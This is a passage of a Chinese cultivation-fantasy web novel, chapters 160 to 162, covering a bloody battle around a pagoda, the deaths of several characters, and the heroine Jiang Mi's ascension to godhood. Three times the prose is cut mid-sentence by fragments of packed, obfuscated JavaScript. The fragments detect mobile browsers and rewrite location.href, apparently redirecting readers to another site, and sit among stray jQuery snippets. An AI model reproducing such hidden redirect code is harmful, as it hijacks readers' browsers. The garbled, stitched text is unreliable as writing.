血水汇聚成流,断肢和残骸被践踏,人与人在厮杀。 有人一边拼命挥剑一边哭着说我想我妈了。 有人只剩一口气,躺在血水里望着天空低声唱国歌。 更多的人从阵法中走出,满脸惊慌地大喊着冲响攻来的修士。 不远处在阵法和几名异世者保护下不停刻画传送阵的颜西能力透支,鼻血狂流也没空擦。 天地忽然闪现一道白光,那是被五十多名玄甲围攻的孔冶划出的一击,他坚守在最前方。 源源不断的修士从四周密林、山后、湖水下飞出,异世者们冲在前方杀出一条道。 江弥被苏与商几人护着往佛塔的方向去。 一片温热溅到手背。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628271|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江弥怔了下,侧头看到被击飞到跟前的男子,下秒,这具残破的尸体消失不见。 是送葬者。 守望军有个异世者,外号送葬者,他的系统叫入土为安,只要指定地方就能让人在死后葬在那里。 天诛院创建司鉴后,送葬者就在异世者中传开了。 没人想活着时这么痛苦,死后还要被司鉴解剖研究,他们都主动和送葬者签订契约。 江弥被天音拉着往前走,苏与商项昭昭和暮云呈包围将他们护起来,再往外是青花和三十多名训练有素的异世者。 空气仿佛被血气填满,江弥感觉呼吸变得困难。 身旁不停有人倒下,他们跨过一具具尸体,苦痛的嘶吼和绝望的哭声被抛在脑后。 江弥从心悸变得麻木。 旁人的死和她有什么关系。 如果只有最后一人能活,那个人只会是她。 能活着就好,什么神降天机,如果不是这里没了生存之地,她压根不会加入这什么计划。 这些人的死不是她的错。 识界里,许久未曾改变的黑色植株舒展枝叶,细密的根系犹如蛛网扎入银河水畔。 顶端的黑色花苞颤了颤,臌胀起来。 她不知道自己为何站在这里,也不知道为何会被这群陌生面孔拼死庇护着。 她的修为没有增加,那些预知的画面没有浮现。 异世者的死亡不再是她力量的来源。 她没拿到神之左眼。 她无法成神。 所有的牺牲都是白费功夫,他们死于一场骗局。 她变成罪魁祸首之一。 黑色花苞哗地绽放,连花蕊也是黑色。 “哗”“哗”“哗”,连接的黑花迅速结苞开花。 为什么会选中她? 她和其他人一样是个普通人,她连系统都没有。 她甚至都不想成神。 为什么没有逃走? 她可以逃走的,青花邀请她时,在天涯路时,以及现在,她可以不管什么天机计划,神灵降临。 她可以逃的。 又一株黑色石子出现在银河旁。 黑芽飞速钻出,根系扎入河畔,很快长生出黑色叶片,朵朵花瓣舒展开。 天音仰着脑袋望向江弥,手紧紧抓着她。 江弥低头。 啊,她忘了,有天音在,她连术也无法使出。 · “为什么他们把江弥护在中间?”崔大冲出去的脚步猛地顿住。 邢歌遥遥望去,看出围在江弥身边的几人身份,狐狸面具下的眉头微皱。 “这还不明显,她要么是天涯路的首领,要么是天涯路的杀手锏。”苏乞花扭了下脖子:“能让我那天资聪颖的老姐甘愿守护的,除了那所谓的神,我想不到其他原因。” “不可能!”崔大否认。 “我就随口一说。”苏乞花将长刀扛在肩上,目光落在半空中横扫便倒下一片的黑骨镰刀上,眯着笑:“任务还做不做?喏,死神就在跟前,还是异世者,杀不杀?” 邢歌左手抽出剑:“你不管你姐?” 苏乞花看了眼夹杂在几人中的苏与商,耸耸肩:“没人能改变她的想法,我爹娘不行,我自然也不行。” 说着他挽了个剑花,脸上的笑兴奋起来:“你们慢慢想,我先去会会他。” 苏乞花身形很快,几下消失在打斗的人群里。 崔大正欲加入,邢歌忽然问他:“你想清楚了?” 崔大提剑的手紧握,抬脚往前方走去。 邢歌叹了声,调气提速,掠过崔大时说:“我没有回头路,但你有。” 她的方向不是死神,而是江弥。 崔大一顿,飞快赶过去,但邢歌的速度太快,他的问声消失在厮杀中。 160. 160 五年前邢歌心如死灰地走进河水时,一位自称卢今的修士救了她,他问她,你还能活,你要活吗? 要活吗? 失去陆怀,失去寒鹃谭鑫,失去使剑的右臂,她还要活着吗? 人活着,是为了什么呢? 她不可避免地想起了最后的陆怀,他被教习围攻回头看她的那一眼,他在想什么?是失望还是痛恨? 邢歌年少时义无反顾地选择兵灵道,振振有词说只有手中有剑才能杀异世者到最后。 那时的陆怀站在阳光里,笑着说,那我做你的防御,你只管往前,我不会让你受伤。 她摸着干涸的泪痕想,陆怀那样的人不会恨,他甚至在身份被发现离开时还想要带她一起走,他说放不下她。 那时她忽然意识到,陆怀死前只是在不舍。 他舍不下她。 人活着,究竟是为了什么呢? 邢歌点头说,我要活着。 被脏污河水泡过的伤口恶化,她经历割肉,削骨,无数次的身体排异,最终扛起沉重的炮筒站起来,日复一日地抬起左手捡起剑术。 那些巨大的悔恨和爱意在痛楚中变得清晰且剧烈,她一次次跌倒,又一次次站起,她在疯狂的自虐中求生。 失去陆怀的邢歌,没了防御,遍体鳞伤。 往前的邢歌藏起了陆怀,不叫人发现半点。 像她这样的人,总要坚持点什么才能活下去。 她活着只为了一个,杀异世者。 她的结局也只有一个,死在异世者手中。 看到江弥的那刻,邢歌的内心是激动的。 轰隆隆的炮响将分散到各处的目光聚集来,任何靠近她的人都被一炮轰开。 处于对大炮下意识的恐惧,不少异世者闪躲开,而其他修士见她是同类,也不多阻拦。 邢歌势如破竹地逼近江弥一行人,青花神色淡若,他朝分散在四周异世者喊了声。 “非泉。” 一名黑衣女子站出,她神情冷峻,拳头大小的炮弹撕破空间轰到跟前也面不改色,忽然,炮弹在空中定格,失去动力般落了下去,甚至都没炸开。 非泉的能力是改变金属的势能,任何非灵的武器都无法落在她身上。 连接几发炮弹都落了空。 邢歌炮弹用尽,提剑飞速冲来,五名异世者各自施展手段拦阻她的靠近。 这些人都是异世者中的翘楚,单独领出去也能组建不弱的团队,邢歌很快落下败势。 她的手臂连接肩胛骨的地方都被金属覆盖,于是攻击转向左侧,很快左臂被割伤,不知谁洞穿她腰腹,接着膝盖被重击无法站稳,沉重的身体让她跪在血水泥泞中。 她举起右臂挡住横扫至脖颈的一剑,剑身和炮筒撞击出火花,倾斜的利刃在脖颈割出一条细线,鲜血流下。 后方是崔大急促的大喊,邢歌置之不理,她的目光自始至终锁在江弥身上。 江弥站在重重保护中,死寂的瞳仁动了动,黑眸倒映着邢歌单膝跪在血水拿炮筒稳住身形的影子。 她的后方,手握重锤的异世者一跃而上,高举的铁锤即将砸向邢歌,可她已经没力气动了。 她的脏腑被割破,垂下的左手颤抖着无法用力,镶嵌在身体里的金属沉重如枷锁。 那张满是划痕的狐狸面具看着江弥。 江弥动了动,天音拽住她,江弥低声说:“住手。” 【不可泄露】悄无声息地扩大。 即将砸下的重锤忽的失控,直直落下,那异世者咚的被铁锤从半空拉下,意外来得太突然,他没控制嗷的叫出声,惹得面目冷肃的众人望去。 江弥松开天音,穿过呈保护姿态的项昭昭三人,她站在邢歌面前,蹲下来,面对沾血的狐狸面具。 邢歌颤抖的左手缓缓抬起,她握着剑,朝着江弥的咽喉伸去。 有异世者要动手,被青花抬手阻止。 更多修士察觉这边动静,朝着他们疯狂进攻。 邢歌将剑横在江弥脖颈皮肤上,她的手不稳,剑身锋利无比,很快割出一道血痕。 她的嗓子喑哑难辨:“我要杀你。” 江弥却看见那双绝望痛苦的眼眸在说:你杀了我。 江弥的星辰之力无法使用,但日积月累的格斗术不受影响,她的手按在邢歌脖颈,还能感受到血液的跳动。 邢歌忽而笑了,左手卸了力道,跌落的长剑被血水淹没,眼前沉静无言的面容似乎变成另一人,安静,温和,被她拒绝过一次,还是没什么脾气地又来问她。 邢歌,你要和我一起走吗? 她笑着说:“好。” 扣在脸上的雪白面具上,一道划痕代表她杀死的一名异世者。 她为了杀异世者而活,最终死在异世者手上。 邢歌倒下了。 怎么都无法拿下的狐狸面具忽的脱落,面具之下的脸面目全非,深浅不一的伤痕遍布每个角落。 如同那张面具。 卢今为了阻止她自残,做了这张无法揭下的面具。 “江弥!” “江弥!!” 沉寂忽然被打破,周围的声音变得嘈杂喧嚣,江弥缓慢抬眼。 崔大声嘶力竭地大吼她的名字,他看到了,江弥杀了狐狸,像是不可置信,又像是无处发泄,他只能拼尽全力朝她大喊,清扫一切障碍要奔到她身边用力摇醒她,质问她。 为什么杀狐狸? 为什么?! 他双目赤红,却被非泉拦在外围无法靠近。 天音拉住江弥的手,青花适时开口:“这里不宜停留过久,放心,我们的人不会伤他。” 江弥沉默地随他们走向佛塔。 巫马策走在江弥身侧,望向远处幻化出的巨大元神,随口问道:“你想过没有,异世者的力量来自陨落的神,那么这些现存的僵神和神,在没有适合生存的环境下,祂们的力量又从何而来?” 江弥:“这是成神的必要条件?” “只是我个人的疑惑。”巫马策背手而行:“在夏家同你交流一番后我查阅了不少资料。” “百年前神脉家族四家独大,修真界毫无秩序,以武为尊,混乱不堪。混沌频繁降临之时,修真界格局大变,以四大神脉家族为核心,推选十三世家,建启蒙院小术院和大术院,随后百年格局稳定。” “或许应该这么说,”巫马策语气意味深长道:“先有神脉家族改变修真界格局,随后才是混沌降临,异世者降世。” 格局大变必然能让神壮大,天道才会忌惮,降下异世者与其抗衡。 或许原本的神再过不久就会自然衰亡,但神脉家族另寻了办法,延续或者使其壮大。 格局变化的话,十三世家依附神脉家族,启蒙院由天诛院建立,小术院和大术院是四大神脉家族创建,但天诛院仅近十几年开创,那更早前呢? 这样的格局有利于神修复? 巫马策看她不自觉沉浸在思索中,心中并不意外。 或许连她自己都没意识到,她早已无法脱离异世者的共同命运,无论被动还是主动。 · 廖家打探消息的回来了,带回来三条信息。 1、天涯路已现身,江弥也在; 2、江弥全程被天涯路成员护在中央; 3、僵神和世家修士加入战场,局势瞬间颠倒; 异世者能力特殊,有些杀伤力极大的,比如死神,一人能抵几十名高阶修士,相较异世者的伤亡,修士这边损伤更为惨重。 但较数量而言,前来参与诛杀的修士远超异世者。 短期内异世者取得优势,但作战时间越长,反倒是修士更占优势。 周三从中听出一丝不寻常。 江弥被天涯路护在中间是什么意思? 天涯路的障眼法?让江弥做饵吸引修士注意? 周三越想越不对劲,朝孙柏柔道:“我出去一趟。” 孙柏柔也起身:“我也去。” 周三拧眉看她,孙柏柔气势不减地怒瞪回去,最终两人并肩往前。 同作战后营的平静不同,以佛塔为中心的方圆百里都是打斗的痕迹,越靠近佛塔,术法爆发的光芒越密集。 三个巨大的元神虚影高高站立,仅是走动就引得地面震颤不已,所到之处血雾炸开。 “太凶残了!”孙柏柔被杀戮现场震惊,周三抬手按住她肩膀,刚要开口就被孙柏柔拒绝:“我不可能让你一个人去。” 周三没再说,听到什么忽然扭头望向战场。 似乎有人在喊江弥,那声音混杂在乱七八糟的爆炸嘶吼声中,并不真切,忽的,那声大喊在声音间隙中传来。 “崔大的声音?他怎么会在这里?” 周三惶恐两人有危险,展开星图用星移斗转瞬影。 但在场修士中不少星修,高阶星修能覆盖甚至挤压低境界的星图,周三每移动一次就要再寻找能展开星图的地方,然后避开异世者乘风过去。 孙柏柔听到崔大也来了,拍出二十四根蓍草开道,她没有周三速度快,只能一一避开打斗和术法余波。 · 崔大手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644374|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的剑再次斩空,眼看江弥就要走进佛塔,他怒向拦路的非泉:“你给老子让开!” 非泉抬手将另一修士扔来的飞刀朝崔大甩去,崔大抬剑格挡,叮叮叮三声脆响,飞刀落地,崔大锲而不舍地再次攻来。 非泉神色烦躁,她不能杀这人就算了,还得提防其他异世者一个没注意杀掉他。 也在这时,其他修士看非泉对崔大手下留情,自以为找到突破口朝她涌来,非泉一时疲于应付,崔大借着这个空档越过她冲向佛塔。 非泉心下不耐,劈手夺走长剑,反向朝攻来的修士刺去,那剑修的同伴是一名星修,不知何时展开了星图,剑修身形一晃消失,取而代之的是崔大。 变故太快,非泉反应过来时手已经刺出去。 长剑刺向崔大胸膛,穿透衣襟布料。 电石火光之间,崔大被陡然出现的星辰之力往后拖去,险之又险地避开致命一剑。 “我说你……”周三将崔大往后一扯,这种场合不宜争吵,还是忍下了怒气。 他转向黑衣女子,目光锐利,毫不犹豫地抬手,星辰之力的攻击迅猛锐利,只要击中她少说也要撕下一片肉。 但非泉能在异世生存至今,就不会是善茬。 她借势拉来再次偷袭的剑修,以此挡住星辰之力的攻击,随即刺出的长剑脱手,以不可思议的刁钻角度化作残影飞出。 她只是不杀崔大,其他人不在赦免名单内。 崔大将剑插入地下减缓后滑的趋势,他站稳的瞬间速影到周三身前:“江弥杀了邢学姐,她就在——” 染红的视野截断他剩下的话。 血水喷溅到崔大身上,脖颈衣襟处黏腻温热,听到咚的一声他才意识到发生什么,心中涌现惊恐,他不敢去看脚下,颤抖着双手赤红双目朝非泉大喊:“老子要杀了你!” 可他晚了一步。 非泉拿剑修挡星辰之力后反手夺剑杀了他,同剑修打配合的星修勃然大怒,绽放的星图汇聚成一只尾巴燃烧火焰的老虎,那是星兽。 尾火虎尾巴上的火焰燃烧全身,在非泉刚杀死剑修还没反应过来时一口咬碎她喉骨,死了。 崔大看着双目无光的黑衣女人倒下,僵硬着没敢动。 身后传来孙柏柔惊慌失措的声音,崔大抬了抬脚,害怕地走过去。 孙柏柔把周三抱在腿上,往他嘴里塞急救药丸,手按在胸口想护住他心脉,可大量鲜血从她指缝冒出,她哭着喊周三的名字,没有回应。 头顶阴影落下,崔大蹲下来,孙柏柔抓住他的手让他按周三胸膛,她凝聚行气想要修复伤口,周三忽然猛烈咳嗽起来,大口吐血,药丸也吐出来了。 “周三,把它吞下去。”孙柏柔抖着手又倒出几颗,刚塞进嘴里就被咳嗽连着血一起吐出来。 孙柏柔比谁都明白周三的状态。 这是回光返照。 她捂着嘴忍不住哭出来。 周三抬了抬手,轻轻揪住她的袖子,涣散的眼瞳转向红着眼睛茫然的崔大,他压抑着咳嗽说:“你……你为什么就不能老实待着,就不能……” 他缓缓吐出口气,呼吸变得艰难,“别去找死。” 最后一口气咽下,那句话还是没说出口—— 最开始,我是真的讨厌你,也是真的羡慕你。 孙柏柔呜咽着哭出声,崔大颤抖着嘴唇,却什么也说不出。 即将踏入佛塔的江弥忽然停滞,她摸着胸口皱眉,忽然感觉失去了什么重要的东西。 天音仰面看她:“到了。” 江弥走入佛塔,她回头看了眼。 画面和那场记忆相似,无数修士冲来将异世者包围,飞射的炮弹,漫天箭雨,坠落的流星,强势的元神。 异世者嘶吼着站起,又平静地倒下。 似乎有些不同。 记忆里她看到了悬浮在半空的系统面板,他们随着异世者的死亡而黯淡。 现在的她却只能看到不断倒下的异世者,没有面板。 那是—— 江弥心脏皱缩,脚步猛地顿住。 纷杂的术法攻击中,周三闭目躺在血水中,孙柏柔抱着周三在打斗空隙里崩溃大哭,崔大红着眼站在她身侧,沉默着阻拦飞来的攻击。 周三死了?怎么会? 江弥眨了眨眼,想要看的更清楚。 天音拉着她的手往里:“该进去了。” 江弥挣脱他,想立即赶过去,可星辰之力在【不可泄露】下仍旧无法使用,她忽然暴躁地抬手掐住他脖颈。 “你信不信我杀了你!” 161. 161 天音被江弥掐住咽喉也没有太多表情,粉色瞳孔看着她,带着小孩的纯净:“所有异世者都会死于今天。” 江弥松开手,后退着走出佛塔。 青花说:“江弥,我无法承受第三次错误。” 江弥仍在后退。 周三死了,崔大和孙柏柔还在危险中,她再不赶过去,他们可能会死。 项昭昭忍不住开口,语气带着止不住的指责:“你知道死了多少人我们才走到今天?你的后退会让一切前功尽弃,你睁开眼看看你身后,他们究竟为什么浴血奋战?” 苏与商抱剑而立:“你没有退路。” 暮云手指微动,准备起术,不容她离开。 可江弥已经听不进任何话了。 她说服自己接受天涯路安排,让自己承担他们口中的重任,毕竟只有她能做到,她是个人,但凡是个人都无法冷眼旁观同类灭亡,那就试试吧。 可君慕之为此生死不明,周三也死了。 她能救谁? 她谁都救不了。 江弥头也不回地朝着佛塔反方向冲去,无法使用星辰之力,那就用跑的,她抄起地上尸体的佩剑,一往无前地冲进尸山血海。 暮云的术诀正要将她拉回,【不可泄露】忽然扩散到她,术诀消散,她骤然回头目视天音,压抑的情绪终于爆发:“你要放过她?你放过她谁来放过我?!” 她等这一日等了近十年,她来时分明才二十岁,现在却觉得自己已经垂垂老矣。 她等不下去了。 项昭昭攥紧拳头,她见证太多死亡,她知道牺牲在所难免,必要时她也会是其中一员,但不代表她能接受白白牺牲。 苏与商抬眼,看向恢复星辰之力在战场飞速游走的江弥,没说话。 蒋敏一直不敢说话,抬眼小心看几人。 廖珮缨轻拂鬓发,真到了这种时刻,她反倒是心态最好的那个。 作为廖家大小姐,她灵性很强,修占术的总有些若有似无的预感,况且她见过江弥背后的那位神。 她觉得事情不会这样结束。 青花也望向天音,相较几人的焦虑质疑,面对天音的突然变化,他是最淡定沉稳的。 天音能通过接触看到某个人的未来。 刚才他肯定是看到什么。 · 高大的元神甩下巨型冰锥,崔大抬剑斩出,冰锥击碎之时背后陡然颤栗,周身的护体防御崩碎。 有人偷袭。 孙柏柔心惊肉跳地看着这幕,失声喊出他名字,还在颤抖的手要去摸皮袋,可显然来不及。 就在这时,强大浑厚的星辰之力将偷袭之人震开,接着星图在脚下浮现,庞杂而明亮的星辰流转。 熟悉的身影随着明灭的星辰浮现。 孙柏柔忽然就很想哭,她咽着哭意喊:“江弥,周三死了,他死了。” 江弥一步步走过去,目光落在周三身上。 他的衣衫被鲜血染透,苍白着脸闭眼躺在那里,锋芒和锐利消失,只有平静和脆弱。 崔大忽然挡在周三面前,沾血的剑直指江弥,他恨声怒道:“你还来?你怎么还敢来?你不是异世者吗?你不是和他们一伙的吗?你来做什么?杀了邢学姐不够,所以还要来将我们一起杀了?” 他的心脏血肉在燃烧,耳朵里全是血液沸腾的声音,握剑的手因紧绷在发颤。 汹涌的恨意忽然爆发,他哭着怒吼:“为什么死的不是你?!” 手中剑用力刺出去。 江弥没有躲。 孙柏柔痛苦地尖叫起来,想闭上眼睛捂住耳朵,她的身体在发抖,惊恐导致的麻痹感蔓延到四肢。 可只有她能救江弥。 她放下周三的尸体,努力站起来,可手脚发软发麻,她怕崔大手腕用力刺得更深,又怕崔大抽剑血一下止不住,她无法忍受江弥变成周三的样子。 她朝崔大尖利大喊:“别动!崔大别动!你给我站在那里!你要是动了——啊啊啊,江弥江弥别动,呜,我求你,你们都别动,呜呜,江弥真的会死的。” 鲜血顺着江弥衣襟淌下,孙柏柔惊惧得心脏骤停,她几乎是跌爬着跑过来。 她脸上手上都是周三的血,她用力在身上擦拭,试图凝聚行气的手一直在抖,她抬起另一只手握住崔大的剑,用痛楚找回理智。 “没事的,没事的,江弥你信我,我很厉害的。” 她声音在发颤,捏了几次没成功,急得快要哭出来。 顺着剑身流下的血液滴入地面汇聚的血水里。 滴答,滴答。 红色血水被幽蓝星光照成诡异的色彩,一切仿佛是光怪陆离的梦境。 江弥看着孙柏柔哭着帮她止血拔剑,看着崔大同愤恨仇视的目光看她,也看着周三变成尸山血海的一部分。 大脑一片混乱。 我到底为什么会在这里?又为什么要遭受这些?异世者的未来和我有什么关系?天机如何神是谁关我什么事?我为什么一定要管其他人死活? 错了。 从走进夏家的那刻就错了。 不该去找青花的,也不该选择天涯路。 应该猜到的,天机是卢今发明的,他本可以为天机加上摧毁设置的,但没有,为什么?因为天机是否摧毁不重要,天涯路要的是一个让所有异世者死亡的原因。 他们要用异世者的死浇灌出一个神。 江弥忽然抓住孙柏柔小心翼翼拔长剑的手,在她惊愕和恐惧的目光中用力抽出,孙柏柔慌忙用手按住她胸口,惊慌地喊她名字取药要给她止血。 江弥推开她。 孙柏柔害怕得大哭,江弥很不对劲,她想上前抱她,又不敢拿手碰她,只能捂着嘴拼命摇头:“不要……不许死,我们约好的……” 江弥想安慰她,可她已经笑不出了,江弥转身看向跟在身后的巫马策和项昭昭几人。 即使她什么都不管的冲进战场,他们仍在确保她的安全。 金色元神正在朝这边走来,地面震颤,汇聚的血水泛起涟漪,惨叫和死亡发生在身后。 她忽然愤怒起来,所有的麻木和痛苦被无法熄灭的怒火燃烧:“你们才是杀死所有异世者的凶手!” 她嘶声力竭地控诉着:“是你们!你们让他们走向死亡!巫马策你有心吗?还是人吗?口口声声找出路,死亡就是你们找的出路!” 为什么一定要对异世者赶尽杀绝?为什么异世者必须死?因为她的能力吗?因为她能通过异世者的死升级? 不对,不该这样,所有人都不该是这样的。 巫马策沉默无言,许久他说:“当你身上背负着无数人的命运时,你的死亡和痛苦就变得无足轻重。” “这是你的诡辩,”江弥双拳紧握,“死去的异世者他们知道吗?这是一场骗局,根本没有什么神,天机是你们的把戏,你在骗他们去死!” 巫马策无言地看她,像是在遗憾她的不理解,也像是在包容她的无理取闹。 江弥哈笑了声,不再试图跟他们争辩。 她没有地方可以去了,也不知道该怎么办了,崔大阻止孙柏柔的声音和孙柏柔的哭声在耳旁远去,甚至在这时候她想,死了就好了。 君慕之被桃姑吃了,周三死了,崔大恨她。 这世间不会再有异世者的容身之处。 也没有她的容身之处。 识界的银河旁开遍了黑色的花,黑枝黑叶,沿着璀璨流转的星河生长,像一条长长的黑色带子。 “轰!” 即将落在江弥头顶的巨大冰锥被人撞飞。 那是个十多岁的女孩,她苍白着脸从江弥身边爬起来,固化成硬石的双臂生出裂纹,她解开硬化,皮肤上的裂口爬出血。 她朝江弥笑了下:“那个,这边比较危险,你要去哪里?或者要什么东西,我去替你取来。” 江弥看着保护她的女孩,哑声问:“你知道我?” 女孩重重嗯了声:“你能带我回家!” 江弥对上那双明亮的眼眸,张了张嘴,嗓音干涩问:“为什么,这样说?” 女孩说:“大家都说天涯路里有个特殊的异世者,能终结这一切,然后送我们回家。我看你一直被保护着,这个人一定是你。” 有修士朝这边冲来,女孩慌张说:“啊,我可能帮不了你啦,你要拿东西找其他人也可以,大家都愿意帮你的。” 说完她举起凝聚成硬石的双臂,当做盾牌抵挡射来的剑光,但她只有硬化能力,体术不算好,硬化不灵活,没过几招就被打飞出去。 双臂碎掉的女孩看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江弥看着这个占据阿玲的存在,心中忽然涌现无限希望:“你,你是……” 阿玲示意她身后,再次询问:“你要救他们吗?” 江弥:“你有办法?” 阿玲寻了个干净之地将君慕之放下,走向江弥,她手指隔空点在江弥胸膛,接着伤口开始愈合。 她说:“你能成神,这是真的。” 江弥一怔,低眉看自己的伤口,忽然抬首:“你也能做到,为什么一定要让我成神?” 阿玲说:“这是你自己的选择。” 她将张开的手放在江弥眼前,空无一物的掌心忽然浮现一颗龙眼大小的线团,白线从线团内散开,像飘在水中的发丝浮动。 “你知道它是什么,有它你就能成神。” 神之左眼。 江弥:“为什么?” 阿玲笑着看她,走在泥泞的血水里,江弥停顿片刻,快步走在她身侧。 所有的攻击避开她们,两人仿佛身处一处虚拟空间,死亡在身边上演,她们旁观一切。 阿玲停在那个大喊着家庭住址的女孩面前,蹲下来帮她理了下头发,仰头问江弥:“你想救她吗?” 江弥:“你是神,你现在就能救她。” 阿玲像是早就知道般地叹了声,将展开的手再次伸到她面前:“你成神了,周三就能活。” 江弥凝固的血液开始流动,她猛地抬首,直接去拿眼睛:“我要怎么做?” 不用任何言语,那只眼睛接触到她的瞬间自发进入左眼,熟悉的痛楚袭来,接着无数预知的画面蜂拥而至。 也在同时,阿玲身体里的存在叹道:“江弥,你得知道你背负的是什么。” 这声音仿佛刻入灵魂,令她心神震荡。 下秒,那个存在消失,阿玲的身体被她接管。 阿玲睁开眼。 鲜血遍布大地,尸横遍野。 半空的系统面板一块块暗淡下去。 原来这才是那场异世者被屠杀的记忆。 162. 162 后面发生的一切仿佛按了加速键。 数不清的异世者倒下,他们仿佛花叶凋零化作肥土,点亮江弥识界里一颗又一颗星星。 识界里的金色粒子不断增加,神台很快凝至九层,金色粒子仍在积蓄,浓得仿佛流动在空气的金色水体。 黑色植株绽放着花朵,想一条黑色的分界线将银河仙梯隔开,长长的不见尽头。 她的视野被满目血色覆盖,灵魂轻飘飘的。 她分明置身地狱修罗,却感觉四周金光灿灿。 闪烁光芒的九层神台高大无比,她站在神台之上,灵魂被金光环绕,仰头能看到朝下俯瞰的眼睛。 巨大的眼睛遮天蔽日,在重重云雾之后半隐半现,半透明的瞳仁无法反射任何影像。 她听到它在说话。 并非人言,是某种直达灵魂的意志。 杀了祂们。 那是很微弱、很细小的一缕意志,触及灵魂的瞬间却犹如病毒迅速蔓延,渗透进灵魂的每个角落。 此时此刻,她的思想、她的警觉、她的抵抗如蚍蜉撼树微不足道,任何个人的意志都无法反抗天道意志。 这才是天道想要的。 天道意志或许是某种规则,某个现象,亦或是某种连自我意识都称不上的思想,它宛如一个巨大的单细胞生物,懂得趋利避害,有最基础的生存本能。 它发现了抑制它生长的毒瘤,这颗即将死去的毒瘤忽然在转好,它想除掉毒瘤,但它迟缓而强大,无法做这种细致活。 它需要一把好用的手术刀,于是有了异世者。 异世者携带神力碎片降临,无数异世者和漫长的时间里总会诞生出一名神。 此时,即将成神的江弥就是那把手术刀。 手术刀需要自己的思想吗? 不需要,手术刀只要好用就行。 江弥的意识变得浑噩,记忆开始模糊,感情和情绪被蒙上厚重的尘埃,仿佛在时光和风中蚀化。 人的性格、思想、感情来自她的记忆,当记忆不复存在时,她成了一具空白思想的躯体。 杀了祂们。 杀了祂们。 杀了祂们。 蒙昧的大脑只剩一条指令。 眼睛仍在剧痛,修为节节攀升,江弥正在失去自我。 身处厮杀战场的阿玲和江弥静静站立,磅礴无形的力量形成独特的场域,没有人能靠近。 青花提起的心终于放下,项昭昭喜极而泣,苏与商眉头轻皱了下,暮云怔怔看着这幕,泪水无声流下。 蒋敏恍惚开口:“江弥就是神?” 廖珮缨忽然往前两步,失声道:“那是什么?” 阿玲脚边绽放出黑色的花。 术法撞击的余波被无形的场域削减,只余带血气的风。 黑花在风中飘摇。 很快第二朵,第三朵依次展开,黑色的花在两人中间疯狂盛放,极快连成一条线,黑线朝两端飞速蔓延,仿佛从天际落下的大手在地面这张白纸上化出一条分割线。 线的两边站着对立的两人。 花朵蔓延过来时项昭昭他们下意识躲开。 忽有微弱光芒亮起,一颗星辰在脚下亮起,接着成百上千星星同时闪烁转动,数不清的星星沿着黑花组成的长线蔓延出长长的银河。 星河璀璨,循环流转。 突然出现的黑花和银河将战场分成两边。 杀红了眼的死神被惊醒,粗喘着气望来,苏乞花也被这处奇景吸引停下,混在修士中的齐乐抹了把脸上的血,顾臣狼狈地捡起不知谁没了枪头的长枪撑着站起…… 孙柏柔没有过去,她守着周三的尸体不愿离开,连打带踢地让情绪上头的崔大将君慕之背过来,探着脑袋紧张朝动静源头张望。 因无法召唤元神急得团团转的世家们停下,看着绽放在他们脚下的黑花和银河面面相觑,很快各家得知最新信息,江弥成神了。 所有声音停滞一瞬,接着更大的质疑声响起。 廖家代表直接带着人前往现场。 越来越多人停下。 “这是什么?她真的要成神了?” “我养你们这些人做什么?还等什么,杀过去啊!不管她做什么都给我去阻止!” “这是识界具象化!她的识界跑到现实来了!我竟能在有生之年看到这样一幕!” “狗屁!区区幻术,我从未听过什么识界具象化!” “有救了,有救了!我能回家了!” “真能成神?!神降是真的!!啊啊啊啊!!!” 欢呼雀跃的,喜极而泣的,憎恶至极的,恐惧惊慌的,无数声音在咆哮在大喊,可所有声音传入江弥耳朵只剩扭曲不成调的音符。 她已经无法理解这些话语的意思。 异世者不再死亡,可神之左眼仿佛钉入灵魂的钉子,锐利的痛让她稍稍回了下神。 ——江弥,你得知道你背负的是什么。 这话直接在脑海里响起,甚至不用她思考,好似刻在灵魂上。 很熟悉,谁说的。 江弥茫然地站在神台之上,同那只透明的巨大眼睛对视,很快她忘掉了这话,意识再次被天道意志覆盖。 一根细长白线从她的左眼伸出,它绕着江弥的额头缠了一圈。 接着第二根也冒出,它圈住江弥的脖子。 第三根在她嘴巴附近缠绕…… ——江弥,你得知道你背负的是什么。 浑噩的大脑缓慢转动,背负什么? 脑海忽然浮现背着大包小包打开木屋的男子。 周三,对,她要救周三。 细线缠住她的额头,眼睛,脑袋,脖颈,她的思绪逐渐变清晰,每一根细线拂去一粒落在她身上的尘埃,一只大手将她从蒙昧混沌中拉了出来。 ——江弥,你得知道你背负的是什么。 “守望军说能让我回去,我想回……想回家……” “青花,死后能回家吗?我想清清白白地回家。” “你知道我家地址吗?我住在滕州市莲花大道西合小区七栋一单元2001” “我不怕死,我死了你一定要带我回家。” …… 一个又一个声音在耳边响起,一个又一个面孔在她面前倒下。 越来越多细线缠绕而来,化作一张密布的大网将她包裹在里面。 白线细长柔软,轻轻包裹着灵魂,带着安抚和保护。 这样的保护就在佛塔前上演着。 怎么就没想到? 细线代表关系,她和他们建立过关系。 